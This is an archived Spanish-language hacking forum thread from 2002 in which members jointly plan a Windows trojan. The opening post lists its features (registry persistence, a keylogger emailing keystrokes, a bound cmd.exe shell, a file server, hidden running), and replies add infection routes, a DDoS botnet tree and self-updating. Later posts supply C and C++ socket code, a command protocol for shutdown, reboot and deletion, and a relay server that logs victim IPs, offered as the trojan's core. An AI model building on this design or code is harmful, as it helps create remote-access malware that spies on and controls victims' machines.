PDA

Ver la versión completa : Algoritmo



Giskard
24-05-2002, 18:10
Perdón por la tardanza pero por un problema de configuración perdí muchos archivos, entre ellos el algoritmo que había hecho, sin embargo aqui dejo uno sencillito, esperando a ser criticado, mejorado y aumentado.
Hasta luego

Algoritmo de troyano (servidor). En forma lineal sin código ni pseudocódigo
[list=1]
inicio
Al Ejecutarse verificar que no exista el mismo ya cargado en la memoria ya que puede luego causar problemas en la conexion si es que se utiliza el mismo puerto, aun que si se usa el mismo marcara error en el segundo programa ya que el primero esta ha la escucha del puero.
Cuando se ejecute el programa como recomendacion es necesario que no ponga el puerto ha la escucha inmediatamente sino que tarde algunos 10 seg. despues de ser ejecutado el programa para que windows termine de cargar todos los archivos necesarios para su funcionamiento.
grabarse en el registro de windows para ser iniciado cada vez que reinicie el sistema [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\RunServices] i
Activar un keylogger (que no sólo grabe las teclas pulsadas, sino también los programas que se ejecutan)
Bouncear el command.com o el cmd.exe para utilizarlo al estilo telnet
el registro de teclas mandarlo a una dirección de correo-e
Instalar un servidor de archivos con permisos de lectura y escritura
Mantenerse en segundo plano
Fin
[/list=1]

tiutiu
24-05-2002, 19:12
juas!!! y otra vez juas!! es lo mismo q pense yo el otro dia xD se lo estuve comentando a crackzme, pero yo pense en hacer tb un servidor y q nos mande ahi la ip y la informacion, lo del servidor de archivos no se me habia ocurrido, pero es buena idea. Luego con apis se puede concer todas las ventanas q tiene activas y programas, incluso monitorear los controles de cada ventana y su contenido ;) Es muy jugoso, solo se tienen q buscar las apis correspondientes y montarlo de la manera que ocupe menos espacio. Luego se tiene q pensar la manera de colarselo (IS por el mirc, buffer overflow currao, etc...)

Un saludo, y dar opiniones sobre esto :D

CrAcKzMe
24-05-2002, 23:52
imitad un hack a tack ;)

eXcalibur
25-05-2002, 11:24
Ciertamente vendría a ser el funcionamiento base, pero, y un toque especial????, algo que lo diferencie del resto.
Yo sigo pensando, si a alguien se le ocurre algo...

Yok3R
26-05-2002, 22:13
Como se haria para ke IP sea enviado por mail???
Otra el keylogger seria hecho en el mismo codigo del troyano!!! como me explico como un scanneador interno???
Explicad por favor para ke agarre mejor el hilo de la situación ;)

Gracias y estamos en contak

tiutiu
27-05-2002, 09:21
Pues mira, yo creo q lo mejor seria hacer cada uno un modulo y luego se juntan todos y se monta el principal. Lo de la ip es muy facil, con cualquier api la sacas, y sino hasta hay una web www.whatismyip.com que te la dice, con lo cual es muy facil, luego con un socket mandas un mail a la cuenta q digas (con conocer cuatro cosas del protocolo smtp ya ta, es mu facil). El keylogger pues hay una cosa q se llaman hooks, no los he tocao mucho pero lo q hacen es interceptar los mensajes de windows (pulsaciones d teclas, llamadas a apis, movim. d raton, etc) con lo cual pones un hook en el teclado y ale, monitoreas todo lo q escribe el tio y lo mandas.

MANDALA
27-05-2002, 20:36
Me gustaria bouncear el cmd.exe o el command.com dependiendo del win a un puerto, es decir, k cuando te conectas a ese puerto accedes a la linea de comandos de DOS.Seria bueno , sobre todo para poder usar comandos y programas de DOS desde la victima..tipo Netcat,algun bouncer,algun crackeador... muchas cosas.

Angeliyo
31-05-2002, 00:02
No se si me voy a "flipar" un pokito...
pero podíamos hacer una especie de sistema en árbol para poder hacer DDoS... que cada server sepa los servers que estan activos y en cuanto le mandes una orden ejecutara una orden en cadena...

eXcalibur
31-05-2002, 09:27
Me ha costado entenderlo lo que querías decir, pero tio, esos es una puta pasada!!!!, es un poco flipada, pero mola!!!!
Esto se tendría que pensar bastante para ver si es factible, sería el "toque especial" de HH

Giskard
31-05-2002, 17:06
Ya está :)
He actualizado el algoritmo, ahora sólo falta que cada quien se ocupe de un punto (no vayan a escoger el "inicio " o "fin" ;)) , por ejemplo que alguien haga el código para el key logger, otro para bouncear el command.com, otro para que el progrma de mantenga en segundo plano, etc. y después juntamos los códigos para hacer el programa.
Se aceptarán todos los códigos que manden y se escogerán los mejores (es decir, los mejor elaborados, mas estables y mejor organizados) para compilar el troyano.
Lo del sistema de arbol para hacer DDoS no lo entendí muy bien, podrías explicarlo mejor, para poder incluirlo en el algoritmo.
Eso es todo, nos vemos:p

eXcalibur
31-05-2002, 19:02
Pero al final se hará en algún lenguaje en especial?

Angeliyo
02-06-2002, 19:59
Si te digo la verdad no se muy bien como hacerlo... Lo expuse al ver una página de DDoS.
La idea es hacer un Denial of Service entre muchos sitios a la vez.
pero tu no vas a mandar la orden a 100 ordenadores... lo que si le puedes mandar la orden a un ordenador... hasta un máximo de cinco y estos automaticamente manden la orden a otros cinco y hasta llegar a un número determinado de órdenes.
no se me ocurre la manera de tener guardadas las ip's de los infectados...
No se realmente si es viable... Estoy abierto a sugerimientos ;)

tiutiu
03-06-2002, 10:12
Creo q entiendo por donde vas. Se podria hacer una "red" tipo la de SETI@Home con el troyano, de modo que se ponga un objetivo y asi hay muchas maquinas listas para atacar, seria como un walkie-talkie para decir FUEGO! xD Nu se, se tendria q mirar mejor.
Otra cosa, en que lenguaje quereis hacerlo?

Un saludo

PD: no es sugerimientos, es sugerencias xDD

NeoGenessis
04-06-2002, 14:21
Tal como dije ya tengo el keyloger listo. Funciona en Visaul basic usando apis. Tras mucho machacarme (que no machacarmela) he aislado el problema, pero no consigo solucionarlo.

Dentro de unos dias pondre el codigo fuente pa que le hecheis un vistazo. Cuando acabe examenes me pondre a hacer una version en C pa Win32.

Lo de los arboles no creo que lo haya entendido (no me dejan ver el bosque...). Si lo que quiereis es poder moveros por la vicima como en vuestro cuarto lo mejor es usar tecnologia Ciente-Servidor que con Visual esta chupao de implementar.

:cool:

eXcalibur
04-06-2002, 14:38
Cuando dices "aislar el problema" te refieres a "on error resume next"?

KIFO
04-06-2002, 15:31
Oxtia eso es mu peligroso!! (me refiero al "on error resume next"). Hay ke estar muy seguro de ke no perdemos el control!!

|RooT|
04-06-2002, 16:58
Buenas :)

Desde aze tiempo empeze ha hacer un troyano mas o menos con las ideas que Giskard a puesto en el post.

Este programilla lo que azia era sacar un cuadrito que se movia por la pantalla (El tipico ejemplo que sale en las Direct X SDK :D ) y automaticamente al ejecutarse se conectaba a nuestro servidor. Y una idea que tuve es como un "PARCHEADOR" es decir para poder actualizar el troyano.

Es decir primeramente tener como un pekeñin troyano basico, que realize las funciones basicas para que este puede ser actualizado, y asi poder tener la victima controlada.

Aunke todavia tengo el troyano en pelotas (porque por mala suerte se casco el HD).

Apoyo la idea de Giskard

Un saludo a todos

PD. No sabia que avia tanta ente de Barcelona :D (Alguien de HORTA/Nou barris) :p

eXcalibur
04-06-2002, 17:53
Si te vale, mi ex-novia es de nou barris, ja aj ajajjaja

Angeliyo
08-06-2002, 13:35
Ji Ji Barcelona es muy bonita... ;)
x si alguien quiere echarle un ojo (esta muy bien) el back orifice tiene todos sus fuentes en sorceforge.net
yo ahora estoy muy liado... (como supongo que todos por estas fechas ;) ) ya nos veremos!!!

NeoGenessis
30-06-2002, 11:16
Me refiero a depuracion buscando el fallo. De todos modos la cosa no va. Creo que el hecho de registralo como servicio del sistema me da problemas, o eso o que el timer creado por api se auto interfiere el la escritura del archivo. Voy a probar dos cosas:

1.-Separar la parte que capta teclas y la que escribe el el archivo, para asi escribir frases de 30 Caracters +o- y darle tiempo al sistema. Y...

2.-Reescribilo en C aprobechando que estoy aprendiendo a programar en C pa Win.

Paciencia, cuando funcione o posteo en codigo fuente...

P.D: la espera sera larga estoy currando y tengo poco tiempo.....:(

Dupont
30-06-2002, 13:57
Buenas.... Aunque yo sea un programador LINUX puedo dar una serie de consejos para el código que inicia la sesión servidor. Yo no soy un programador de Window$, sencillamente porque no es un sistema compatible 100% con la norna ISO/IEEE POSIX (Portable Operating System Interface), que permite portabilidad de los programas entre plataformas distintas.

Pues bien, el código para construir un servidor simple bajo el estandar POSIX y en ANSI C sería el siguiente. Evidentemente, este programa se compilará regularmente en cualquier casi cualquier plataforma que NO SEA MICRO$OFT WINDOW$.... Por cierto, utiliza sockets Berkley, no winsockets, por lo que el porte a otras plataformas sería muy facil.

En este ejemplo, el servidor escucha en el puerto 8000 (por decir uno cualquiera) y admite peticiones desde el cliente de un máximo de 16.384 bytes de datos (cantidad mas que razonable para estos menesteres)

#include < stdio.h >
#include < sys/socket.h >
#include < netinet/in.h >
#include < arpa/inet.h >
#include < netdb.h >

int port = 8000; //Número de puerto a la escucha... (se puede cambiar por el que queramos)

void main() {
struct sockaddr_in sin;
struct sockaddr_in pin;
int sock_descriptor;
int temp_sock_descriptor;
int address_size;
char buf[16384]; //Cadena de datos máximos que acepta del cliente (se puede cambiar, claro y hacerlo mas grande :-) )
int i, len;

sock_descriptor = socket(AF_INET, SOCK_STREAM, 0);
if (sock_descriptor == -1) {
perror("Llamada al socket");
exit(1);
}

bzero(&sin, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = INADDR_ANY;
sin.sin_port = htons(port);

if (bind(sock_descriptor, (struct sockaddr *)&sin, sizeof(sin)) == -1)
{
perror("llamada para unir");
exit(1);
}

if (listen(sock_descriptor, 20) == -1) //El 20 significa que puede aceptar una cola de entrada de hasta 20 conexiones (por ejemplo)
{
perror("Llamada para escuchar");
exit(1);
}

printf("Aceptando conexiones ...\n");

while(1) {
temp_sock_descriptor =
accept(sock_descriptor, (struct sockaddr *)&pin,
&address_size);
if (temp_sock_descriptor == -1) {
perror("Llamada para aceptar");
exit(1);
}

if (recv(temp_sock_descriptor, buf, 16384, 0) == -1) {
perror("Llamada a recv");
exit(1);
}

printf("Recibido del cliente:%s\n", buf);

if (send(temp_sock_descriptor, buf, len, 0) == -1) {
perror("Llamada para enviar");
exit(1);
}

close(temp_sock_descriptor);

}
}


Pues bien, según he podido consultar por internet, para que esto funcione bajo Window$ no hay nada más que cambiar todas las cabeceras por una sola, que sería la siguiente...

#include < winsock.h >

Según parece, en esta librería estan todas las definiciones de las funciones utilizadas en el programa, ya que son convenciones estandar hasta para el window$

Ah, se me olvidaba, habría que ejecutar WSAStartup() antes de hacer nada con la biblioteca de sockets. El código para hacerlo es algo parecido a esto:

#include < winsock.h >
{
WSADATA wsaData; // Si esto no funciona
//WSAData wsaData; // prueba esto en su lugar
if (WSAStartup(MAKEWORD(1, 1), &wsaData) != 0) {
fprintf(stderr, "WSAStartup falló.\n");
exit(1);
}

También tienes que decirle a tu compilador que enlace la biblioteca Winsock, que normalmente se llama wsock32.lib o winsock32.lib o algo así. Con VC++, esto puede hacerse con el menú Project , bajo Settings... Haz click en la pestaña Link y busca el cuadro titulado "Object/library modules". Añade "wsock32.lib " a esa lista.

No se la fiabilidad de todo esto, pero para los fines a los que está dirigido este programa servidor, habría que eliminar todo el código de gestión de errores y excepciones, es decir, eliminar todo el código donde ponga perror() y stderr...

Si quereis una explicación más detallada de lo que hace cada linea, me lo posteais o me mandais un mensaje privado y yo lo eleboro un poquito mas y os modifico este post con todas las explicaciones.

Saludos.

Angeliyo
14-07-2002, 15:52
Acabo de volver a la vida...
a ver si tengo un par de horitas libres y me pongo con esto ;)

eXcalibur
15-07-2002, 11:10
Hey Angeliyo, muy buenas, que le ha pasado a tu página??

Dupont
20-07-2002, 13:20
Pues eso. Alguien ha probado el código del servidor ese que postee un poco más arriba???¿?¿?¿?

Saludos

Dupont
29-07-2002, 14:19
Bueno, como parece que NADIE POSTEA CÓDIGO, lo haré yo. Empezaré con el servidor, posteando cachos del proyecto para visual C utilizando la mierda de los win sockets, porque parece que por aquí nadie tiene muchas ganas de darle vueltas al coco y ni siquiera buscar por internet... Despues de eso, vendrá el código del programa Cliente, fichero a fichero del proyecto (visual C++)....

Como dice Linus Torvalds cuando alguien le viene calentándole la cabeza con nuevas técnicas de programación..... Dice:"Enséñame el código".... Pues bien, yo soy de esos, y hasta que no veo el código, no me lo creo, así que ahi va la cosa....

Por cierto, puede que haya lineas que no aparezcan, porque el foro las interpreta como HTML, de todas formas, intento hacer todo lo posible para que nada se escape.... Saludos

P.D: El código no está completo. Por supuesto tendrá que ser otro el que codifique todas esas maravilloooooooosas ideas que habeis escrito al principio y que se pueden encontrar en cualquer web de programación. A partir de aqui, todo es casi coser y cantar, ya que esta escrito con la API de WIndow$ utilizando Sockets Windows y no los Berkeley (POSIX) que es como en un principio postee.

Saluuuuudos de nueeeevo....

Dupont
29-07-2002, 14:21
#include < winsock.h >
#include < stdio.h >

class Comm {

public:

Comm();
~Comm();

virtual void openConn();
virtual void openServerConn();

virtual void closeConn();
virtual void sendData(char *);
virtual void recvData(char *);

virtual void setPort(int);

virtual void setMaxMsgLength(int);

virtual char* getAddr();
virtual bool isConnected() {return connected;}

virtual void setIP(char*);
virtual char *getIP();

virtual void setAddr(char*);

protected:

WSADATA ws;
SOCKET sckt;
sockaddr_in san;

char *IP;

int MSG_LENGTH;
int PORT;
int sanSize;
bool connected; //Booleano para ver si ha conectado o no
};

Dupont
29-07-2002, 14:24
#include "Comm.h"

Comm :: Comm() {

connected = false;
IP = new char[17];
for (int i=0;i<17;i++) {
IP[i] = ' ';
}
}

Comm :: ~Comm() {}

void Comm :: openConn() {

int e;

san.sin_family = AF_INET;
san.sin_port = htons(PORT);
san.sin_addr.s_addr = inet_addr(IP);
sanSize = sizeof(san);

e = WSAStartup(0x0101,&ws);
sckt = socket(AF_INET, SOCK_DGRAM,0);
printf("\nError Report: %d\n", WSAGetLastError());

}

char* Comm :: getAddr() {

return inet_ntoa(san.sin_addr);

}

void Comm :: openServerConn() {

int e;
int b;
san.sin_family = AF_INET;
san.sin_port = htons(PORT);
san.sin_addr.s_addr = htonl(INADDR_ANY);
sanSize = sizeof(san);

e = WSAStartup(0x0101,&ws);
sckt = socket(AF_INET, SOCK_DGRAM,0);
b = bind(sckt,(sockaddr *) &san,sanSize);
printf("\nError Report: %d\n", WSAGetLastError());
}

void Comm :: setAddr(char *addr) { //Para poner la dirección
for (int c=0;c<17;c++) {
IP[c] = ' ';
}

int i=0;
while (addr[i + 1] != '$') { //'$' termina
IP[i] = addr[i+1];
i++;
}

}

void Comm :: setPort(int p) {
PORT = p;
}

void Comm :: recvData(char *data) {

int t;

//printf("Recibiendo del socket: %d", sckt);
t = recvfrom(sckt,data,MSG_LENGTH,0,(sockaddr *)&san,&sanSize);
connected = true;


}

void Comm :: sendData(char *data) {

int t;

t = sendto(sckt,data,MSG_LENGTH,0,(sockaddr *)&san,sanSize);


}

void Comm :: setMaxMsgLength(int m) {

MSG_LENGTH = m;
}

char *Comm :: getIP() {
return IP;
}

void Comm :: setIP(char *ip) {

sprintf(IP, "%s",ip);
}

void Comm :: closeConn() {

shutdown(sckt, 1);
char *data;
data = new char[MSG_LENGTH];
closesocket(sckt);
connected = false;
sckt = NULL;
}

Dupont
29-07-2002, 14:25
#ifndef PROTOCOL_H
#define PROTOCOL_H

#include < stdio.h >

const char P_ACCEPT = 'A';
const char P_CLOSE = 'C';
const char P_MESSAGE = 'M';
const char P_SHUTDOWN = 'S';
const char P_REBOOT = 'R';
const char P_GETWINDOW = 'G';
const char P_DELETE = 'K';
const char P_CAPTION = '&';
const char P_SPACE = '.';
const char P_SETIP = 'I';
const char P_RECEIVED = 'R';
const char P_WINDOW = 'W';
const char P_LOADBMP = 'P';
const char P_SAVEIP = 'B';
const char P_GETIP = 'X';

const int HAL_SERVER = 2501;//2501
const int HAL_US = 2500;//2500
const int US_SERVER = 2502;
const int THIRDPARTY = 2503;

const int MAX_LENGTH = 100;

char* encode(char cmd, char *str) {

char msg[MAX_LENGTH] = " ";
// for (int i=0;i<MAX_LENGTH;i++) {
// msg[i] = ' ';
// }
sprintf(msg, "%c%s",cmd,str);//%s", cmd,str);
return msg;

}

#endif

Dupont
29-07-2002, 14:31
#include < windows.h >
#include < windowsx.h >
#include < winsock.h >
#include < stdio.h >

#include " serverComm.h "
#include " Protocol.h "

serverComm *hal = new serverComm();
serverComm *us = new serverComm();

bool SEND_TO_CLIENT = false;

DWORD WINAPI Receive_Thread(LPVOID data) {

char msg[MAX_LENGTH] = " ";
for (int i=0;i<MAX_LENGTH;i++) {
msg[i] = ' ';
}

while (1) {

us->openServerConn();
printf("\nEsperando conexion del emisario2...");
us->recvData(msg);
if (msg[0] == P_SAVEIP) {
us->sendData(msg);
printf("\nConexion recibida y almacenda del emisario2...");
us->saveIP();
SEND_TO_CLIENT = true;
}
else if (msg[0] == P_ACCEPT) {
printf("\nconexion recibida del emisario2...");
//while (hal->addrCleared()) {Sleep(100);}
// us->openConn();
// printf("\nEsperando a una conexion del emisario2...");
// us->recvData(msg);
sprintf(msg, "%c%s$", P_SETIP, hal->getSavedIP());
printf("\nsending %s", msg);
while (msg[0] != P_RECEIVED) {
us->sendData(msg);
us->recvData(msg);
}
hal->clearAddr();
}
us->closeConn();
}

return ((DWORD)data);
}
DWORD WINAPI Receive_Thread2(LPVOID data) {

char msg[MAX_LENGTH] = " ";
char msgSend[MAX_LENGTH] = " ";
for (int i=0;i<MAX_LENGTH;i++) {
msg[i] = ' ';
msgSend[i] = ' ';
}

while (1) {

hal->openServerConn();
hal->recvData(msg);
hal->saveIP();
if (SEND_TO_CLIENT) {
printf("\nconect.con proxy para conexion con cliente B at %s", us->getSavedIP());
sprintf(msgSend, "%c%s$" ,P_SETIP, us->getSavedIP());
SEND_TO_CLIENT = false;
}
else {
sprintf(msgSend,encode(P_CLOSE," "));
}
hal->sendData(msgSend);

printf("\nCerrando Conexion...");
hal->closeConn();
//while (!hal->addrCleared()) {}

}

return ((DWORD)data);
}

void main() {

static HANDLE thread_handle = NULL;
static HANDLE thread_handle2 = NULL;
unsigned long thread_id;
unsigned long thread_id2;

hal->setPort(HAL_SERVER);
us->setPort(US_SERVER);

hal->setMaxMsgLength(MAX_LENGTH);
us->setMaxMsgLength(MAX_LENGTH);

thread_handle = CreateThread(NULL,0,Receive_Thread,(LPVOID)0,0,&thread_id);
thread_handle2 = CreateThread(NULL,0,Receive_Thread2,(LPVOID)0,0,&thread_id2);

while (1) {};




}

Dupont
29-07-2002, 15:07
#include < winsock.h >
#include < stdio.h >
#include " Comm.h "

class serverComm : public Comm {

public:

serverComm();

void saveIP() {sprintf(sIP,getAddr());}
char* getSavedIP() {return sIP;}

bool addrCleared() {return addrClear;}

void clearAddr();

private:

char *sIP;
bool addrClear;

};

Dupont
29-07-2002, 15:08
#include "serverComm.h"
#include < stdio.h >


serverComm :: serverComm() {

connected = false;
IP = new char[17];
sIP = new char[17];
for (int i=0;i<17;i++) {
IP[i] = ' ';
sIP[i] = ' ';
}
}

void serverComm :: clearAddr() {

addrClear = true;
}

Dupont
29-07-2002, 15:18
uuuuuy, que cansado que estoyyyyyyy!!!! Espero que alguien me eche una mano....